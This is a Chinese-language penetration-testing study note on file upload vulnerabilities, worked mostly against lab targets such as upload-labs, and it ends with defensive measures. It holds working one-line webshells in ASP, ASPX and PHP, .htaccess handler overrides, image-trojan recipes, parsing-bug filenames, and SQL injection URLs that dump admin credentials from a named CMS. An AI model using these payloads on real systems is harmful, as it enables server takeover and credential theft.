【CyberSecurityLearning 61】文件上传
目錄
文件上傳漏洞
* 漏洞概述
* 漏洞成因
* 漏洞危害
webshell
* 大馬
* 小馬
* Getshell
文件上傳漏洞利用的條件
*一定的條件
防御、繞過、利用
*黑白名單策略
* PUT方法上傳文件
1、Apache 如何開啟PUT 方法
*前端限制與繞過
*服務器端檢測--MIME 類型
*服務器端檢測--文件內容
*服務器端檢測--后綴名
00截斷
.htaccess 攻擊
*將.png 文件當作PHP 文件解析
*文件名中包含php 關鍵字
*匹配文件名[ajest], 找到該文件,并執行其中的PHP 代碼
Web容器解析漏洞
*Apache 解析漏洞
*IIS6.0 解析漏洞
*PHP CGI 解析漏洞
實驗演示:
@ Nginx 解析漏洞
*Nginx 空字節漏洞
*Nginx 文件名邏輯漏洞(CVE-2013-4745)
常見的編輯器上傳
常見的CMS 上傳
*南方數據管理系統(數據庫備份拿webshell)(old)
*metinfov5.0.4?文件上傳---代碼審計
變量覆蓋漏洞
文件上傳漏洞的防御
*代碼角度
*設置權限
*單獨設置文件服務器的域名
文件上傳漏洞
* 漏洞概述
???? 文件上傳是web應用的必備功能之一,比如上傳頭像顯示個性化、上傳附件共享文件、上傳腳本更新網站等。如果服務器配置不當或者沒有進行足夠的過濾,web用戶就可以上傳任意文件,包括惡意腳本文件、exe程序等,這就造成了文件上傳漏洞。
* 漏洞成因
????? 文件上傳漏洞的成因,一方面服務器配置不當會導致任意文件上傳;另一方面,web應用開放了文件上傳功能,并且對上傳的文件沒有進行足夠的限制;再者就是,程序開發部署的時候,沒有考慮到系統特性和驗證和過濾不嚴格而導致限制被繞過,上傳任意文件。
?(1、服務器配置不當;2、沒有做限制;? 3、限制被繞過)
* 漏洞危害
????? 上傳漏洞最直接的威脅就是上傳任意文件,包括惡意腳本、程序等。如果web服務器所保存上傳文件的可寫目錄具有執行權限,那么就可以直接上傳后門文件,導致網站淪陷。如果攻擊者通過其他漏洞進行提權操作,拿到系統管理權限,那么直接導致服務器淪陷。同服務器下的其他網站無一幸免,均會被攻擊者控制。(上傳文件的時候是向服務器寫文件,留言板提交數據是向數據庫中寫。要想去上傳一個文件成功,就必須有一個目錄專門去存放來自web用戶的上傳文件的目錄,并且這個目錄要給寫權限。但是如果這樣具有一個寫權限保存文件上傳的目錄具有一個執行權限的話,我們這里就可以直接上傳后門文件,利用目錄的執行權限,去執行這個腳本,導致網站淪陷)
??? ? 通過上傳漏洞獲得的網站后門,就是webshell。
webshell
???? 在計算機科學中,Shell俗稱“殼”(用來區別于“核”),是指“為使用者提供操作界面”的軟件(命令解釋器)。類似于windows系統給的cmd.exe或者linux下bash等,雖然這些系統上命令解釋器不止一種。
???? webshell是一個網站的后門,也是一個命令解釋器,不過是以web方式(HTTP協議)通信(傳遞命令消息),通過webshell執行的一些命令繼承了web用戶的權限。webshell本質上是在服務器端可運行的腳本文件,后綴名為.php/.asp/.aspx/.jsp等,也就是說webshell接收來自web用戶的命令,然后再服務端執行。
* 大馬
???? webshell也可以是大馬,也是按照木馬。有一類webshell? 之所以叫大馬,是因為小馬(一句話木馬)區分開,并且代碼比較大,但是功能比較豐富。同樣,大馬有很多種腳本格式,其功能基本相同。每個團隊都有自己定制的大馬。以下是一個簡單的例子。輸入密碼,密碼一般直接寫在木馬文件中。
???? 在大馬中我們可以進行文件管理,執行系統命令等,還有一些其他定制功能。這是asp的大馬。
把black.asp文件放到IIS根目錄
大概就長這個樣子:(左側就是大馬的一些功能)
還有一款大馬zladmin.aspx
以上就是asp的大馬和aspx的大馬
下面介紹一個PHP的大馬(放到phpstudy根目錄下)
下面這個大馬號稱可以過安全狗:112233.php
測試一下是不是能過安全狗:
打開win2008
重啟一下web服務
我們先在phpstudy的根目錄下寫一個一句話木馬(小馬)
<?php
eval($_REQUEST[777]);
?>
本地訪問:發現被安全狗攔截
在測試dm.php能不能過安全狗,過不了
?
* 小馬
??? 小馬就是一句話木馬,因為其代碼量比較小,就是一句簡單的代碼。以下是各腳本的一句話。
??? ASP:
??? <%eval request("cmd")%>????? 命名為.asp再去用菜刀連接它
??? ASP.NET:
??? <%@ Page Language="Jscript"%>
??? <%eval(request.Item["cmd"],"unsafe");%>???? 后綴改為aspx再用菜刀去連
??? PHP:
??? <?php @eval($_REQUEST['cmd']);?>
JSP 和 jspx 的一句話木馬比較復雜一些
一句話木馬短小精悍,功能強大,但是需要配合中國菜刀或者中國蟻劍客戶端使用,中國菜刀是一句話木馬的管理器,也是命令操作接口。中國菜刀在連接一句話木馬的時候需要填寫密碼(實際上就是變量名)。例如,我們上傳一個php 的一句話木馬,密碼就是[cmd]。
中國菜刀(蟻劍)與一句話木馬配合實現了三大基本功能:
@1、 文件管理
在中國菜刀頁面繼承Web 用戶權限可以實現文件管理,包括文件查看、上傳、下載、修改、刪除甚至運行exe 程序等
@2、 虛擬終端
在中國菜刀下可以獲得cmd 和 bash 的命令行接口,可以執行相關命令。
@3、 數據庫管理
我們可以使用中國菜刀進行數據庫管理,此時需要知道連接數據庫的賬密。以MYSQL 為例
<T>MYSQL</T>????? //數據庫類型
<H>localhost</H>???? //數據地址
<U>root</U>???? //數據庫用戶
<P>root</P>??? //數據庫密碼
<L>utf-8</L>???? //數據庫編碼
測試:
打開win2008(192.168.3.103),在phpstudy根目錄下寫yjh.php
<?php
@eval($_POST[777]);? //密碼就是777
?>
物理機訪問:
http://192.168.3.103/webshell/yjh.php?
打開蟻劍:
功能1、文件管理
功能2、右鍵打開虛擬終端
功能3、數據庫管理
但是我們進行數據庫管理的時候要添加配置
右鍵數據操作:
點擊添加
其實蟻劍比菜刀好用很多
* Getshell
GetShell ,顧名思義就是獲取web 的過程和結果。當然任意文件上傳是GetShell 的主要方式,但并不是唯一途徑
?
?
文件上傳漏洞利用的條件
*一定的條件
1、Web 服務器要開啟文件上傳功能,并且上傳api(接口)對外“開放”(web用戶可以訪問);[說白了就是我們用戶要可以上傳文件]
2、Web 用戶對目標目錄具有可寫權限,甚至具有執行權限,一般情況下,Web 目錄都有執行權限;
3、要想完美利用文件上傳漏洞,就是上傳的文件可以執行,也就是Web 容器可以解析我們上傳的腳本,無論腳本以什么樣的形式存在;
4、無視以上條件的情況就是服務器配置不當,開啟了PUT 方法。
?
防御、繞過、利用
文件上傳的防御、文件上傳的防御繞過還有利用,總是分不開的。
為什么這么防?為什么這么攻擊(防御繞過)?總是相互糾纏在一起的兩個問題,攻防交替。所以下文也是以這種方式討論文件上傳問題。
*黑白名單策略
黑白名單是常用的安全策略之一。在計算機安全中,黑白名單類似于一個列表,列表中寫了一些條件或規則,如果客體在黑名單中,一律禁止,如果客體在白名單中,一律允許。類似與手機號碼的黑白名單。(客體就是我們審查的對象,主體就是具體的人、具體的操作)
如Chrome 瀏覽器的黑白名單策略:
| 政策 | 說明 |
| URLBlacklist | 禁止訪問你已阻止的網址。不過,用戶可以訪問黑名單之外的所有網址 不設置此政策(策略):用戶將可以自由訪問所有網址 |
| URLWhitelist | 將此政策(策略)與 URLBlacklist 政策搭配使用,可將特定網址設為黑名單的例外網址并允許用戶訪問 白名單的優先級高于黑名單。你至少要在黑名單中添加一個條目,才能正常使用此策略 不設置此策略:網址黑名單將沒有例外網址 |
華為收集安裝軟件黑白名單策略:
| 模式 | 說明 |
| 白名單模式,檢查只能安裝的軟件 | 只允許終端主機安裝軟件白名單中的軟件,安裝其他軟件屬于違規行為 對于白名單中的軟件,該軟件屬于必須安裝類軟件,而終端主機未安裝,屬于違規行為 對于白名單中的軟件,該軟件不屬于必須安裝軟件,而終端主機未安裝,不屬于違規行為 |
| 白名單+黑名單模式,檢查必須安全的軟件和禁止安全的軟件 | 如果終端主機未安裝白名單中的任意一款軟件,則屬于違規行為 如果終端主機已經安裝黑名單中的任意一款如那件,則屬于違規行為 如果終端主機已經安裝了白名單中的所有軟件,并且安裝了黑名單中的任意一款軟件,則不屬于違規行為? |
* PUT方法上傳文件
PUT方法作為HTTP請求方法之一,它的作用是允許向服務器直接寫入文件(也就是說如果服務器開啟了put方法,我們不需要任何代碼的支持我們就可以上傳文件)
1、Apache 如何開啟PUT 方法
@測試Apache 是否開啟了put 方法
telnet 192.168.1.200 80
-------------
直接把下面的方法粘貼進去:
OPTIONS / HTTP/1.1
HOST:192.168.1.200
--------------------
@apache 開啟put 方法操作
操作文件:httpd.conf 文件(操作之前記得備份)
phpstudy 目錄:C:\phpStudy\Apache\conf\httpd.conf
開啟dav模塊
啟用模塊
開啟文件鎖
創建DAV 鎖文件
在C:\phpStudy\WWW\目錄下創建名為 DavLock 文件
重啟Apache
再測試一下是否存在普通方法
上傳文件
-----------
??? PUT /info.php HTTP/1.1? (put就是請求方法,后面的路徑就是我們要上傳文件的路徑)
??? HOST:192.168.1.200
??? Content-Length:18 (文件的長度是18個字符)
??? <?php phpinfo();?>
-----------------
我們去訪問一下info.php
不要太相信Ctrl+C和Ctrl+V,就是因為我們在Ctrl+C和Ctrl+V的時候會多打一些字符,比如說回車
PUT上傳文件是一個非常非常古老的漏洞,它屬于典型的服務器配置不當。
也就是說你給別人做檢查的時候,你拿到一個web站點第一個就是檢查put方法。
?
*前端限制與繞過
有一些Web 應用的文件上傳功能,僅在前端用了JS 腳本做檢測,如檢測文件后綴名等。upload-labs(文件上傳的靶場游戲)第一關,以下是經典代碼
Upload-Labs?下載:
github項目地址:https://github.com/c0ny1/upload-labs
將文件夾復制到win2008的phpstudy根目錄下
審查以下元素,選擇上傳按鈕
點開event
搜索一下源代碼有沒有checkfile
我們對這種檢測方法的繞過,最暴力的方法就是直接把事件改掉就行
再次上傳就上傳成功!
有些時候你上傳成功之后有兩個問題需要考慮:
1、你文件上傳成功之后,這個文件的路徑究竟上傳到哪里了?
右鍵--copy image location,再在url中粘貼
?
upload-labs pass-1 就是如此
<script type="text/javascript">
??? function checkFile() {
??????? var file = document.getElementsByName('upload_file')[0].value;
??????? if (file == null || file == "") {
??????????? alert("請選擇要上傳的文件!");
??????????? return false;
??????? }
??????? //定義允許上傳的文件類型
??????? var allow_ext = ".jpg|.png|.gif";
??????? //提取上傳文件的類型
??????? var ext_name = file.substring(file.lastIndexOf("."));
??????? //判斷上傳文件類型是否允許上傳
??????? if (allow_ext.indexOf(ext_name) == -1) {
??????????? var errMsg = "該文件不允許上傳,請上傳" + allow_ext + "類型的文件,當前文件類型為:" + ext_name;
??????????? alert(errMsg);
??????????? return false;
??????? }
??? }
</script>
這里采用的是白名單策略,檢測文件后綴名。再配合表單事件使用
?<form enctype="multipart/form-data" method="post" οnsubmit="return checkFile()">
??????????????? <p>請選擇要上傳的圖片:<p>
??????????????? <input class="input_file" type="file" name="upload_file"/>
??????????????? <input class="button" type="submit" name="submit" value="上傳"/>
</form>
?
前端JS 腳本檢測的安全防御使非常薄弱的,可以非常輕松的繞過
對于第一關有以下方法:
方法一:因為JS 腳本運行環境使瀏覽器,我們可以修改JS代碼,或者刪除表單事件中的οnsubmit="return checkFile()"
方法二:使惡意文件后綴名符合白名單策略,用Burp 掛代理抓包,然后修改文件后綴名即可
先把phpinfo后綴名改成.gif
利用bp抓包改包的原理就是:我們先把info.php這個文件的后綴名改成jpg的形式,讓他先通過前端檢測,由于它檢測在前端,我們進行抓包攔截的時候,說明這個包已經離開了前端,離開了瀏覽器,然后我們改包之后直接提交到服務器。
對于文件上傳,只從Web 前端進行檢測顯然防護不足,因此服務器端的檢測就顯得的特別重要,一般服務器端檢測,采用黑白名單策略。
*服務器端檢測--MIME 類型
MIME 是描述消息內容類型的因特網標準。MIME 消息包含文本、圖像、音頻、視頻以及其他應用程序的專用的數據。常見的MIME 類型如下
翻譯成人話就是叫文件的類型
| 文件擴展名 | Mime-Type |
| .js | application/x-javascript |
| .html | text/html |
| .jpg | image/jpeg |
| .png | image/png |
| | application/pdf |
在HTTP 協議中,使用Content-Type 字段表示文件的MIME類型,當我們上傳文件的時候,抓到HTTP數據包。
在服務器端會檢測Content-Type 類型。upload-labs第二關,經典代碼如下
$msg = null;
if (isset($_POST['submit'])) {
??? if (file_exists(UPLOAD_PATH)) {
??????? if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
??????????? $temp_file = $_FILES['upload_file']['tmp_name'];
??????????? $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']????????? ?
??????????? if (move_uploaded_file($temp_file, $img_path)) {
??????????????? $is_upload = true;
??????????? } else {
??????????????? $msg = '上傳出錯!';
??????????? }
??????? } else {
??????????? $msg = '文件類型不正確,請重新上傳!';
??????? }
??? } else {
??????? $msg = UPLOAD_PATH.'文件夾不存在,請手工創建!';
??? }
}
由于服務器在檢測Content-Type 類型的時候,取得的變量來自用戶,故我們仍可以通過bp抓包,修改這個字段,使其合法,即可繞過限制上傳任意文件
*服務器端檢測--文件內容
除了檢測上傳文件的Content-Type 類型,為了保持安全性,服務器端還會檢測文件內容。PHP 中有一個函數getimagesize(),這個函數本意是檢查圖片的大小,但是在檢查之前該函數會判斷目標文件是否為一張圖片。因此,可以用該函數來檢測文件的內容
抓個包:
upload-labs pass-14 關
function isImage($filename){
??? $types = '.jpeg|.png|.gif';
??? if(file_exists($filename)){
??????? $info = getimagesize($filename);
??????? $ext = image_type_to_extension($info[2]);
??????? if(stripos($types,$ext)>=0){
??????????? return $ext;
??????? }else{
??????????? return false;
??????? }
??? }else{
??????? return false;
??? }
}
對于文件內容的檢測,我們可以通過上傳圖片木馬繞過
木馬圖片的制作
建議在window系統下制作:
也就是說我們可以將惡意代碼上傳到服務器,但是服務器能不能運行是另外一回事。
這個對于提交漏洞來講是不行的,但是可以寫進報告
如果我們要想利用這種圖片木馬中的代碼,我們需要結合其他漏洞(單獨一個文件上傳漏洞我們是不能利用的),其他漏洞包括服務器解析漏洞、文件包含漏洞等來解析我們圖片木馬中的內容
?
制作圖片木馬的第一種方法:
------------
GIF89a
-----------
制作圖片木馬的第二種方法:文件的合并
-----------
copy t011f97de8c87730f7c.jpg/b+phpinfo.php/a test_info.jpg(在另存的過程中修改了文件的后綴名)
copy smile.jpg/b+info.php/a smile_info.jpg
這種方法有可能對PHP文件在解析這個圖片碼的時候有可能受到圖片源碼的影響導致我們圖片木馬沒有辦法運行
有一種辦法就是重新再找一張圖片,第二種方法就是換一種方法
-----------
制作圖片木馬的第三種方法:
找到一張圖片右鍵屬性---詳細信息---版權(將代碼寫到版權里面)這種方法比copy還要好
制作圖片木馬的第四種方法:利用十六進制編輯器
文件幻術:
png:
89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
jpg:
FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2c
gif:
47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33
使用方法:
打開notepad++,輸入89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52并且選中
選擇插件---converter---選擇HEX->ASCii:
命名為png_info.php
修改后綴為png_info.jpg再上傳文件
?
*服務器端檢測--后綴名
服務器端還會檢測文件后綴名。
服務器端在檢測文件名的時候,依然會采用黑白名單策略。黑名單策略,不允許上傳php|asp|aspx|jsp...等可執行腳本文件;白名單策略,
只允許上傳jpg|gif|png|doc|rar...等格式的文件。
@ 黑名單
代碼中的$deny_exit 數據就是一個黑名單,數組元素就是不容許上傳的類型
對于黑名單,我們可以尋找其他允許上傳的類型來繞過限制(比如它如果把.php禁用了,你可以嘗試上傳.php2? .php3?? .php5?? .phtml格式等)
可以執行腳本后綴名
.php .php2 .php3 .php5 .phtml? (需要測試)
.asp .aspx .ascx .ashx .asa
.cer
.jsp .jspx
@ 白名單
對于后綴名白名單策略,我們只能通過上傳白名單內的文件后綴名。
測試:
我們以info.php為例,把它改為info.php2,info.php3,.phtml....看能不能執行
?
以上就是文件上傳的一些驗證和一些驗證的繞過,下面簡單總結一些:
文件上傳的驗證,大體上分為兩類:
1、前端限制和繞過(修改js代碼,刪除事件)
2、服務器端驗證(
????????? ①MIME類型,也比較脆弱,因為客戶端可以自定義
????????? ②文件內容檢測,用的是getimagesize函數,這個函數也比較容易被繞過,簡單做一個圖片木馬上去就行,雖然說我們把圖片木馬上傳到服務器上并不能直接運行,但是圖片文件中包含了惡意代碼,我們可以結合其他漏洞來觸發這個代碼
????????? ③服務器端驗證還可以去驗證后綴名,后綴名在驗證的過程當中,無論是后綴名驗證還是前面的驗證我們采取黑白名單策略)
有時候burpsuite是抓不到包的:
因為bp在抓包的時候,127.0.0.1(localhost)是抓不到的,因為這個軟件它的默認設置,可以用本機的IP地址來測試,避開這個問題
?
?
?
上面講到的前端驗證和后端驗證都是從代碼角度去研究的。下面將的這些是從其他角度去研究一下:
00截斷
00 就是Null(空)字符,URL 中表現為%00,00截斷會導致文件上傳路徑截斷 (條件:PHP<5.3.29,且GPC關閉)。我們以upload-labs pass-11為例來說明這個問題
if(isset($_POST['submit'])){
??? $ext_arr = array('jpg','png','gif');
??? $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
??? if(in_array($file_ext,$ext_arr)){
??????? $temp_file = $_FILES['upload_file']['tmp_name'];
??????? $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
?
??????? if(move_uploaded_file($temp_file,$img_path)){
??????????? $is_upload = true;
??????? } else {
??????????? $msg = '上傳出錯!';
??????? }
??? } else{
??????? $msg = "只允許上傳.jpg|.png|.gif類型文件!";
??? }
}
先抓個包看看
思路:
我們訪問一下這個路徑
但是如果我們直接訪問到test.php,發現訪問成功:
這個就是00截斷
因為底層是C語言寫的,c語言是一直到后面是空字符才停止讀取的,讀的時候它不知道這個字符有多長,只要遇到空字符就認為字符串結束
?
.htaccess 攻擊
Hypertext Access(超文本入口)
.htaccess 是Apache 服務器的分布式配置文件(httpd.conf屬于全局配置文件),該配置文件會覆蓋Apache 服務器的全局配置(就是httpd.conf),作用域是當前目錄及其子目錄。
如果一個Web 應用允許上傳的.htaccess 文件,那就意味著攻擊者可以更改Apache 的配置,這是十分危險的。(舉個例子,將.png文件當中php文件來解析運行)
.htaccess 攻擊想象空間非常大
首先Apache 的配置,允許.htaccess 文件覆蓋掉Apache 的配置
Override是覆蓋的意思
*將.png 文件當作PHP 文件解析
將以下代碼寫入文件,并保存成.htaccess ,放到測試目錄下
??? AddType application/x-httpd-php .png
并在同一個目錄下創建一個文件 info.png
??? <?php
????? phpinfo();
??? ?>
當我們訪問文件時,[info.php]內的PHP 代碼將會被執行
.htaccess如果運行上傳這個文件是非常危險的
有一種情況,你拿到一個網站后臺的時候你想getshell的時候但是網站后臺不允許你上傳、修改PHP文件,但是你發現能夠修改某一個目錄下的.htaccess這個文件,即使你上傳不了PHP文件,你也可以改它的Apache配置
?
*文件名中包含php 關鍵字
當文件名[info.php.png] 中包含關鍵字[.php] ,并且.htaccess 文件內容如下,info.php.png 中的代碼會被執行
AddHandler php5-script php
?
*匹配文件名[ajest], 找到該文件,并執行其中的PHP 代碼
我們文件的名字就是ajest
<FilesMatch "ajest">
SetHandler application/x-httpd-php
</FilesMatch>
以upload-labs pass-4為例
先上傳[.htaccess] 文件
怎么去創建.htaccess文件呢?
打開win2008:我們直接記事本改后綴名強行重命名是不行的。
我們用notpad++,ctrl+N新建文件
先上傳.htaccess
??? ----.htaccess
??? <FilesMatch "ajest">
??? SetHandler application/x-httpd-php
??? </FilesMatch>
??? --------------
再上傳[ajest]
-----ajest
<?php
phpinfo();
?>
----------
我們在本地(win2008先上傳.htaccess再上傳ajest)
?
?
?
Web容器解析漏洞
Web 容器解析漏洞,就是Web 容器在解析腳本出現的“bug”
*Apache 解析漏洞
info.php.xxx.xx.x
以第四關為例
查看源代碼
$is_upload = false; $msg = null; if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//刪除文件名末尾的點$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //轉換為小寫$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上傳出錯!';}} else {$msg = '此文件不允許上傳!';}} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';} }查看源代碼發現定義了黑名單
嘗試上傳文件:
將上面用到的info.php文件,命名為info.php.xxx.xxx.x
上傳這個文件,找到路徑
發現能上傳成功,并且能解析執行PHP代碼
這就是Apache服務器的解析漏洞,也就是說Apache在找文件后綴名的時候,它是從后向前找,它遇見x不認識,再遇到xx不認識,再遇到xxx不認識,再往前面找到php認識了
Apache解析漏洞是一個非常古老的漏洞,現在新版本已經被修掉了,這個考點經常出現在CTF當中
?
*IIS6.0 解析漏洞
第一個解析漏洞:
@ asp;1.jpg
???? time.asp;1.jpg
打開windows2003:
在Inetpub下的wwwroot下創建一個文件夾jiexiloudong,里面創建一個文件叫time.asp
IIS6.0解析漏洞,就是命名為time.asp;1.jpg
發現時間也能執行
?
第二個解析漏洞:
@ 1.asp/time.jpg?
新建文件夾命名為[1.asp](這里1可以是任意字符(只要這個文件是.asp就行)),在里面新建文件,命名為[time.png]
?
*PHP CGI 解析漏洞
@ IIS7.0或者7.5
? ? ?IIS7.0/7.5+PHP 環境
我們一般情況來講,PHP環境一般都是和Apache來配合的,但是這個PHP CGI解析漏洞是PHP和IIS7.0或者7.5來配合
所以,你要是想搭建這個實驗環境,你需要將本地的IIS7.0或者7.5去支持PHP環境
? ? ?讓iis7.0/7.5支持PHP 環境
實驗演示:
win2008下先搭建IIS
計算機右鍵管理打開服務器管理器——角色——添加角色——選擇Web服務器(IIS)——應用程序開發勾選上——安裝
開始---管理工具---打開IIS
添加網站(網站名稱test,物理路徑C:\Intpub\wwwroot,端口8000---確定)
訪問一下localhost:8000
怎么讓我們IIS7去調用PHP環境?
如何實現IIS下支持PHP腳本類型
IIS 已經搭建成功
PHP環境借用PHPstudy中PHP環境
PHP環境路徑【C:\phpstudy\php\php-5.4.45\】
打開IIS----雙擊處理映射程序圖標
添加模塊映射
點擊FastCGI設置圖標:
這樣我們就你可以讓IIS去支持PHP腳本了
這個漏洞怎么防御?
方法1::
找到處理映射程序---找到Fast-CGI-PHP--請求限制---映射,把勾勾上就行
方法2:
法二:修改php.ini配置文件(cgi.fax_path)
?
nginx中也存在類似的問題
?
Nginx 解析漏洞復現:
https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/
@ Nginx 解析漏洞
/info.png/.php
這個漏洞和cgi.fix_pathinfo有關? 把這個參數關閉漏洞就修復了
*Nginx 空字節漏洞
localhost/info.html%00.php
*Nginx 文件名邏輯漏洞(CVE-2013-4745)
?
?
常見的編輯器上傳
編輯器就是網站后臺編輯網頁的在線編輯器,會自動集成文件上傳功能,這些編輯器的某些版本也存在文件上傳漏洞
?? ?*ewebeditor(比較古老的編輯器)
?? ?*fckeditor
利用小馬拉大馬也是一個慣用伎倆!
常見的CMS 上傳
??? CMS 又叫網站內容管理系統(網站的模版,幫助我們快速建站,我們會在這個網站模板上做二次開發),市面上很多開源的CMS 的歷史版本有很多都存在著文件上傳漏洞,但是產生文件上傳漏洞的原因不盡相同,情景也不似本章上文中介紹的那樣“直白”。類似的CMS 有很多,比如常見的dedeCMS(織夢)、PHPcms、Seacms 等。
YXcms
https://pan.baidu.com/s/1xd8MdGwqZqErtvu0QO5d5A
提取碼:xbb5
https://blog.csdn.net/Zer0ooo/article/details/103190622?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-2.control&dist_request_id=&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-2.control
學滲透如果不知道南方數據管理系統的文件上傳就跟沒學過一樣,太經典了!
*南方數據管理系統(數據庫備份拿webshell)(old)
南方企業管理系統v9.0.rar
http://www.piaodown.com/soft/20589.html#soft_down
后臺getshell?
asp|access|.mdb|下載
? ? win2003
? ? 權限?
? ? 利用數據庫備份getshell|另存|自定義文件的名字
這是一個asp網站,這個網站把它搭建到win2003里面,尤其要注意權限的問題
南方數據庫管理系統實際上進行文件上傳的核心是利用數據庫備份getshell,由于它是asp的網站,所以他的數據庫是ACCESS,ACCESS數據庫實際上就是網站目錄下的.mdb文件
只要是.mdb文件就可以下載(可以配置IIS放下載)
搭建網站過程省略(端口8004),搭建的時候注意啟用父路徑
win2003的ip:192.168.3.114
物理機訪問192.168.3.114:8004
南方數據管理系統是后臺getshell,這里我們就要進入后臺。
進入后臺有幾種方式?獲取后臺賬密
南方數據管理系統是有注入點的
?? 兩個注入點:
[/news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9 from admin where 1 or '%'='&;otype=title&;Submit=%CB%D1%CB%F7]
[/NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20selecct%20*%20from%20news%20where%201=2%20and%20''=']
?
后臺登陸帳號:admin 密碼:0791idc?
后臺
?????? 御劍掃一下后臺
進入后臺:
點擊系統管理---數據庫備份
點擊榮譽管理---添加企業榮譽---上傳大馬
發現有限制,抓個包看看,把filename中的black.php改成.jpg發現上傳成功
? ? 修改后綴名,上傳大馬
? ? UploadFiles/2393209844.jpg
*metinfov5.0.4?文件上傳---代碼審計
5.0.4不通過,我們這里用5.1.4
MetInfo 歷史版本與升級包下載:https://zhuanlan.zhihu.com/p/45722772
這也是一個開源的cms,非常經典,比較老了
又有文件注入、SQL注入、文件包含
文件注入和文件包含這兩個漏洞都源于變量覆蓋
?
搭建到win2008,復制到phpstudy的根目錄
win2008的ip:192.168.3.118
物理機訪問
出現報錯:
解決方法,打開php的配置文件,php.ini
成功登陸
安裝一直下一步就行
存在文件上傳漏洞的文件在:D:\phpStudy\WWW\MetInfo5.1.4\admin\include下的uploadify.php
我們做這個文件進行代碼審計
我們來學一種語言結構foreach
foreach($mettables as $key=>$val){
?? ?$tablename='met_'.$val;?? ?
?? ?$$tablename=$tablepre.$val;
}
變量覆蓋漏洞
-------------
$name="HELLOWORD!";
//?name=AJEST
foreach($_GET as $key=>$val){
??? $$key=$val;//$name=AJEST;
}
var_dump($name);
-------------
通過變量覆蓋漏洞,可以修改Web 應用的參數
文件上傳漏洞的防御
關于文件上傳的防御,防住危險的腳步類型是最基本的防御,最理想的就是能夠過濾掉圖片馬中的惡意代碼。如果一個Web?應用能夠上傳圖片木馬,那么我們認為這個Web?應用是不安全的。文件上傳漏洞的防御主要從以下幾個方面考慮。
*代碼角度
???????? @ 采用白名單策略,嚴格限制上傳文件的后綴名。
??????? @ 進行二次渲染,過濾掉圖片木馬中的惡意代碼。
??????? @ 將用戶上傳文件改名存放,包括文件名及其擴展名,并將其存放路徑和文件名存放在數據庫中。系統使用文件時,通過查詢數據庫動態獲取。
??????? @ 使用隨機數改寫文件名和路徑
*設置權限
?? ?? ? 限制上傳目錄下擁有的執行權限
*單獨設置文件服務器的域名
?
?
?
?
總結
以上是生活随笔為你收集整理的【CyberSecurityLearning 61】文件上传的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 作者:杜克明(1980-),男,中国农业
- 下一篇: CCF大专委2019年大数据发展趋势预测